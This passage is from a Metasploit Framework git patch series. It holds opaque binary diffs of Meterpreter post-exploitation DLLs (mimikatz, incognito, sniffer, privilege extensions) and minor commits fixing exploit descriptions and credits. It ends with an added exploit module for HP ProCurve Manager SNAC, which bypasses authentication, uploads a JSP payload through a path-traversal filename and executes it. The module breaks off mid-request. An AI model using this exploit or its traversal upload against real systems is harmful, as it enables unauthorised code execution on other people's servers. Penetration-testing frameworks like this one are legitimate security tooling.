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 From 705e2620619df824c9a6ee248f808c39399fd3d1 Mon Sep 17 00:00:00 2001 From: James Lee Date: Thu, 12 Sep 2013 23:36:05 -0500 Subject: [PATCH 137/160] Non-broken compiled bins for meterpreter/#14 Somehow built bins with fatal linker errors last time. These seem to be solid. [SeeRM #8361] --- data/meterpreter/elevator.dll | Bin 51712 -> 51712 bytes data/meterpreter/elevator.x64.dll | Bin 57344 -> 57344 bytes data/meterpreter/ext_server_espia.dll | Bin 162304 -> 162304 bytes data/meterpreter/ext_server_espia.x64.dll | Bin 190976 -> 190976 bytes data/meterpreter/ext_server_incognito.dll | Bin 64000 -> 64000 bytes data/meterpreter/ext_server_incognito.x64.dll | Bin 72192 -> 72192 bytes data/meterpreter/ext_server_lanattacks.dll | Bin 153600 -> 153600 bytes .../meterpreter/ext_server_lanattacks.x64.dll | Bin 196096 -> 196096 bytes data/meterpreter/ext_server_mimikatz.dll | Bin 374784 -> 374784 bytes data/meterpreter/ext_server_mimikatz.x64.dll | Bin 516096 -> 516096 bytes data/meterpreter/ext_server_priv.dll | Bin 91136 -> 91136 bytes data/meterpreter/ext_server_priv.x64.dll | Bin 102400 -> 102400 bytes data/meterpreter/ext_server_sniffer.dll | Bin 378880 -> 378880 bytes data/meterpreter/ext_server_sniffer.x64.dll | Bin 391680 -> 391680 bytes data/meterpreter/ext_server_stdapi.dll | Bin 328704 -> 328704 bytes data/meterpreter/ext_server_stdapi.x64.dll | Bin 386560 -> 386560 bytes data/meterpreter/metsrv.dll | Bin 752128 -> 752128 bytes data/meterpreter/metsrv.x64.dll | Bin 951808 -> 951808 bytes data/meterpreter/screenshot.dll | Bin 158208 -> 158208 bytes data/meterpreter/screenshot.x64.dll | Bin 186368 -> 186368 bytes 20 files changed, 0 insertions(+), 0 deletions(-) diff --git a/data/meterpreter/elevator.dll b/data/meterpreter/elevator.dll index 149771f43f2a20ca01c27f12b38f0062cbad1a75..0134174585c166408be4cea52d441b6fc6cfa77f 100755 GIT binary patch delta 30 lcmZpe!rU;0dBP7Sp00_%{Fq)%+3dx5Yc-I!S#9kt834-T4L<+? delta 30 lcmZpe!rU;0dBP8-xVDME{FwTBH+wPOS`FlFR$F^Z1^~^i4R`zuPu#_S|2fPeZ=%>BapNG+9oC~ZvX?!5HbJ& diff --git a/data/meterpreter/ext_server_mimikatz.dll b/data/meterpreter/ext_server_mimikatz.dll index 61ca3f084e8525557ade272c196c00aba535d802..dc2d26237e33e614e3a8fcef25ee09960867e297 100755 GIT binary patch delta 64 zcmZqpAlC3fY{CcTuU$rspIbjOwti-6{mi`eGfQN%aBymYf}xRuk%6HxgOQPyiJ6t* T_V^Z-t4Bbpx0`#ip3DOPo0b|N delta 64 zcmV-G0Kfl$@D_mZ7Lf1*Zgn1k^M&&Ph4TW1^8>Z>1X+UryyWK`X8~;d2GnQ=@myub;TWQS7;L*wG(aV}{%(~g(*d#{oPX}3` zLK`;UJ?{R2d%;C!s6gCy{T+;5t&GOgciA$TGrr#b$(G5Vk@5C)Cwm}w_Vg-yrmu`! zrx!Rd88g;SU*Z51be(?3fhm;n@pL0crt6Hqr*kryDF^EUH~x{5X3X0xE+eywx6qiC!K0JWqnDNcFw16#W0M%Ucfo~L zY`%Nk{R4M~GYeEr*mnILj9sma+S7O0GMO_z-u}s!$)Az&@^mMAAb0ZgDto4{jBBSC zI4~JAmQG*d02H*He#e0+l=1d-BS)s|jGw1-IWfgEuAiRe#H7QRG<~`glO3b;^lMH` z8ce^oPjhB+XY8Hs;mlOY_;~suXC_a^%;`KXOo@!wr{}paB{O<&zvRNSl7~lg1vAt| z$IZ952Qu|@a+fWD38hR|jAk-nRG%Ie&D72~zx^JNx);q1#4OwIMY9&^vN8Yx$8_IL z*6Qg2ovaeuUv#n_$=|-^C+ibNu-uI8Q-8Cr7LheHwlX!cGByCI2LZ=|A_XH$1tSAP zV+Mxl7ca64Z!ZvFyRwKeV!G>QHfzR)>5ZG&%o$f~-?^DB+>LR=birS2>lp*KAN(#-)6<=r3nDMs0^e4 diff --git a/data/meterpreter/ext_server_priv.x64.dll b/data/meterpreter/ext_server_priv.x64.dll index f68432dfa278f56a6b82e493c5ccc1921431fd7a..6ad1527388610082048f4a1f791cee68c74b8980 100755 GIT binary patch delta 27 icmZozz}B#UZNdkpn(oF=TR$;giUqQ^AB$tOG6Vp%Ck$`^ delta 27 icmZozz}B#UZNdj8?Y72GTR$;giUqQ^AB$tOG6VpubqmA* diff --git a/data/meterpreter/ext_server_sniffer.dll b/data/meterpreter/ext_server_sniffer.dll index 211b0a75d6c2ba4fe992be7e80d08642f2b07a56..0075896faa21036d75a00d576aa7f3cec23e023e 100755 GIT binary patch delta 41 vcmZpeAl@)Re8K}Jy{^Vbt&bR6A2Drx#C&NYkl(&-5;G99Y~MDC)yotBjhPaR delta 41 vcmZpeAl@)Re8K~!lD5W2t&bR6A2Drx#C&NYkl(&-5;G99Y~MDC)yotBngJ6K diff --git a/data/meterpreter/ext_server_sniffer.x64.dll b/data/meterpreter/ext_server_sniffer.x64.dll index ad0876bdfd97d910572c91b49aa318edafcf47b9..3e4eb61006eb119a43d0d891d864573fc1873c9b 100755 GIT binary patch delta 40 vcmZqpBHr*te8LMRH>x81GVY|TBrj2goj3{1h+=11-ekRArvM6 diff --git a/data/meterpreter/ext_server_stdapi.dll b/data/meterpreter/ext_server_stdapi.dll index f5e2b9577c55f213832053cd4e19946c3f08aef8..a57659dc5329c74a7b18e3b23050c3923660f14b 100755 GIT binary patch delta 41 tcmZqZ5NYTTS-{BjzpI&vv7Lz#gqgN8F)~kj02FJV_K?ek44(i1 diff --git a/data/meterpreter/ext_server_stdapi.x64.dll b/data/meterpreter/ext_server_stdapi.x64.dll index c3822569c142e2aea7367061c3113814d5402c11..ae64cd319645982d6d16944a911db92ab6f890b6 100755 GIT binary patch delta 46 xcmZoTBi?XEe1iZZ6GKn45M#R#BM37AG4pmIMwUbKfa2}f=Cf?SHlJ0?4FERX4c!0$ delta 46 ycmZoTBi?XEe1iZZ)8y7>A;xwgMi6EKV&?5aj4X%dF->Z1zc!y``?dM3T5bSQ9}e^Y diff --git a/data/meterpreter/metsrv.dll b/data/meterpreter/metsrv.dll index 4b9f7e6b7293d2c2e59855b054aa18c06b9c9446..869f9b247762120e21b428898aba1700afdd3f9d 100755 GIT binary patch delta 55 zcmV-70LcG<^euq&Es*E}9*TkLh3Wx?>H>x81BL1Yh3W-`>IQ}C2Zibgwdx7#w*nrD Nht{|Wx7N4{D!~tr8@B)e delta 55 zcmV-70LcG<^euq&Es*E}UxtC|h3Wx?>H>x81BL1Yh3W-`>IQ}C2Zibgwdx7#w*p^= Nht{|Wx7N4{D#0CT95Da@ diff --git a/data/meterpreter/metsrv.x64.dll b/data/meterpreter/metsrv.x64.dll index 47314af6e5ff4f445bc67a68a3a663841eff540a..401fa9599759eea270bd111bd1e5e96066472762 100755 GIT binary patch delta 65 zcmZqZv1;hCn(%{3xx4XK>o3OEUrepPm|K6bwEkjk{l(V$i@o(1N9!-n)?Zv(e{oyg U1FCB`yUz{8JloCg^PXA;03E0whX4Qo delta 65 zcmZqZv1;hCn(%|^VN2t$)?bXRznEHoF}MC=Y5m38`irgg7kle3j@DnCt-rXo{^GW} U2UOQ?cAp!FdA6I~=RLIy08uU=^#A|> diff --git a/data/meterpreter/screenshot.dll b/data/meterpreter/screenshot.dll index 661334266e9d741cc03b094a94b06078f34dff08..222f8996eeb53766c31e9a1d5ba5aadc7f126c8f 100755 GIT binary patch delta 30 lcmZp;!r5?zbHWEEp037Et)CdTeqy@h2;^)(=EP*B4glSQ4Kx4% delta 30 lcmZp;!r5?zbHWEEzqZCtt)CdTeqy@h2;^)(=EP*B4glnl4X^+J diff --git a/data/meterpreter/screenshot.x64.dll b/data/meterpreter/screenshot.x64.dll index 85df9a563e32b8008a5023794a0d86032f4fe49b..4a315c0f324aba9e51a8d5d05e164392313286fa 100755 GIT binary patch delta 30 lcmZqJz}>Kcd%_PU!S2Rit-lzz{$lEy3*>BXo5xgT2>{wp4W0l1 delta 30 lcmZqJz}>Kcd%_Q Date: Fri, 13 Sep 2013 09:09:14 -0500 Subject: [PATCH 138/160] Fix description --- modules/exploits/linux/local/sophos_wpa_clear_keys.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/local/sophos_wpa_clear_keys.rb b/modules/exploits/linux/local/sophos_wpa_clear_keys.rb index 65a263a69c..8970f4a08a 100644 --- a/modules/exploits/linux/local/sophos_wpa_clear_keys.rb +++ b/modules/exploits/linux/local/sophos_wpa_clear_keys.rb @@ -25,9 +25,9 @@ class Metasploit4 < Msf::Exploit::Local 'Name' => 'Sophos Web Protection Appliance clear_keys.pl Local Privilege Escalation', 'Description' => %q{ This module abuses a command injection on the clear_keys.pl perl script, installed with the - Sophos Web Protection Appliance, to escalate privileges from the "superman" user to "root". + Sophos Web Protection Appliance, to escalate privileges from the "spiderman" user to "root". This module is useful for post exploitation of vulnerabilities on the Sophos Web Protection - Appliance web ui, executed by the "superman" user. This module has been tested successfully + Appliance web ui, executed by the "spiderman" user. This module has been tested successfully on Sophos Virtual Web Appliance 3.7.0. }, 'License' => MSF_LICENSE, From 4847976995ffd6346108363290eb99b7d9ced0e7 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Fri, 13 Sep 2013 10:42:11 -0500 Subject: [PATCH 139/160] Update information about original discovery Update info about original discovoery. See #2337 too. --- .../exploits/windows/browser/ms13_055_canchor.rb | 14 ++++++++++---- 1 file changed, 10 insertions(+), 4 deletions(-) diff --git a/modules/exploits/windows/browser/ms13_055_canchor.rb b/modules/exploits/windows/browser/ms13_055_canchor.rb index f55d09caad..55b6843d11 100644 --- a/modules/exploits/windows/browser/ms13_055_canchor.rb +++ b/modules/exploits/windows/browser/ms13_055_canchor.rb @@ -31,17 +31,21 @@ class Metasploit3 < Msf::Exploit::Remote context of the user. This bug is specific to Internet Explorer 8 only. It was originally discovered by - Orange Tsai at Hitcon 2013, but was silently patched in the July 2013 update. + Jose Antonio Vazquez Gonzalez and reported to iDefense, but was discovered again + by Orange Tsai at Hitcon 2013. }, 'License' => MSF_LICENSE, 'Author' => [ - 'Orange Tsai', # Original discovery, PoC - 'Peter Vreugdenhil', # Joins the party (wtfuzz) - 'sinn3r' # Joins the party + 'Jose Antonio Vazquez Gonzalez', # Original discovery reported from iDefense + 'Orange Tsai', # Rediscovery, published at Hitcon 2013 + 'Peter Vreugdenhil', # Joins the party (wtfuzz) + 'sinn3r' # Joins the party ], 'References' => [ + [ 'CVE', '2013-3163' ], + [ 'OSVDB', '94981' ], [ 'MSB', 'MS13-055' ], [ 'URL', 'https://speakerd.s3.amazonaws.com/presentations/0df98910d26c0130e8927e81ab71b214/for-share.pdf' ] ], @@ -75,6 +79,8 @@ class Metasploit3 < Msf::Exploit::Remote 'InitialAutoRunScript' => 'migrate -f' }, 'Privileged' => false, + # Bug was patched in July 2013. Tsai was the first to publish the bug. + # But Jose already reported way back in Oct 2012 (to iDefense) 'DisclosureDate' => "Jul 09 2013", 'DefaultTarget' => 0)) end From 6bb51b06de65407b37054c0ce23cd892e8340e46 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Fri, 13 Sep 2013 11:35:22 -0500 Subject: [PATCH 140/160] Add .ruby-version and .ruby-gemset for RVM Using this will strongly encourage RVM users (which should be most/all devs) to use Ruby 1.9.3-p448 and a gemset named "msf" --- .ruby-gemset | 1 + .ruby-version | 1 + 2 files changed, 2 insertions(+) create mode 100644 .ruby-gemset create mode 100644 .ruby-version diff --git a/.ruby-gemset b/.ruby-gemset new file mode 100644 index 0000000000..dcc42d8e6c --- /dev/null +++ b/.ruby-gemset @@ -0,0 +1 @@ +msf diff --git a/.ruby-version b/.ruby-version new file mode 100644 index 0000000000..8e17352446 --- /dev/null +++ b/.ruby-version @@ -0,0 +1 @@ +ruby-1.9.3-p448 From 4e1820a668d14010bf8dd2ad05e7cd477c6b5cbc Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Fri, 13 Sep 2013 12:44:19 -0500 Subject: [PATCH 141/160] Remove gitignore, change to metasploit-framework --- .gitignore | 5 +---- .ruby-gemset | 2 +- 2 files changed, 2 insertions(+), 5 deletions(-) diff --git a/.gitignore b/.gitignore index 189d32b78e..90a8afd545 100644 --- a/.gitignore +++ b/.gitignore @@ -3,10 +3,7 @@ .idea # Sublime Text project directory (not created by ST by default) .sublime-project -# Portable ruby version files for rvm -.ruby-gemset -.ruby-version -# RVM control file +# RVM control file, keep this to avoid backdooring Metasploit .rvmrc # YARD cache directory .yardoc diff --git a/.ruby-gemset b/.ruby-gemset index dcc42d8e6c..6413f9702d 100644 --- a/.ruby-gemset +++ b/.ruby-gemset @@ -1 +1 @@ -msf +metasploit-framework From f7c4e081bbd855f0c2dcb681004526790e9185da Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 13 Sep 2013 16:40:28 -0500 Subject: [PATCH 142/160] Add module for ZDI-13-225 --- .../http/hp_pcm_snac_update_certificates.rb | 130 ++++++++++++++++++ 1 file changed, 130 insertions(+) create mode 100644 modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb diff --git a/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb b/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb new file mode 100644 index 0000000000..126acf9203 --- /dev/null +++ b/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb @@ -0,0 +1,130 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] } + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'HP ProCurve Manager SNAC UpdateCertificatesServlet File Upload', + 'Description' => %q{ + This module exploits a path traversal flaw in the HP ProCurve Manager SNAC Server. The + vulnerability, on the UpdateCertificatesServlet, allows an attacker to upload arbitrary + files, just having into account binary writes aren't allowed. Additionally, authentication + can be bypassed in order to upload the file. This module has been tested successfully on + the SNAC server installed with HP ProCurve Manager 4.0. + }, + 'Author' => + [ + 'rgod ', # Vulnerability Discovery + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2013-4812' ], + [ 'OSVDB', '97155' ], + [ 'BID', '62348' ], + [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-225/' ] + ], + 'Privileged' => true, + 'Platform' => 'win', + 'Arch' => ARCH_JAVA, + 'Targets' => + [ + [ 'HP ProCurve Manager 4.0 SNAC Server', {} ] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => + { + 'SSL' => true, + }, + 'DisclosureDate' => 'Sep 09 2013')) + + register_options( + [ + Opt::RPORT(443) + ], self.class ) + end + + def check + return Exploit::CheckCode::Vulnerable + end + + def get_session + res = send_request_cgi({ 'uri' => "/RegWeb/html/snac/index.html" }) + session = nil + if res and res.code == 200 + session = res.get_cookies + end + + if session and not session.empty? + return session + end + + return nil + end + + def exploit_upload(session) + jsp_name = "#{rand_text_alphanumeric(8+rand(8))}.jsp" + rand_password = rand_text_alpha(4 + rand(10)) + post_message = Rex::MIME::Message.new + post_message.add_part(payload.encoded, "application/x-pkcs12", nil, "form-data; name=\"importFile\"; filename=\"\\../#{jsp_name}\"") + post_message.add_part(rand_password, nil, nil, "form-data; name=\"importPasswd\"") + post_message.add_part("{\"importPasswd\":\"#{rand_password}\"}", nil, nil, "form-data; name=\"cert_data\"") + post_message.add_part("importCertificate", nil, nil, "form-data; name=\"cert_action\"") + data = post_message.to_s + data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part") + + res = send_request_cgi( + { + 'uri' => "/RegWeb/RegWeb/UpdateCertificatesServlet", + 'method' => 'POST', + 'ctype' => "multipart/form-data; boundary=#{post_message.bound}", + 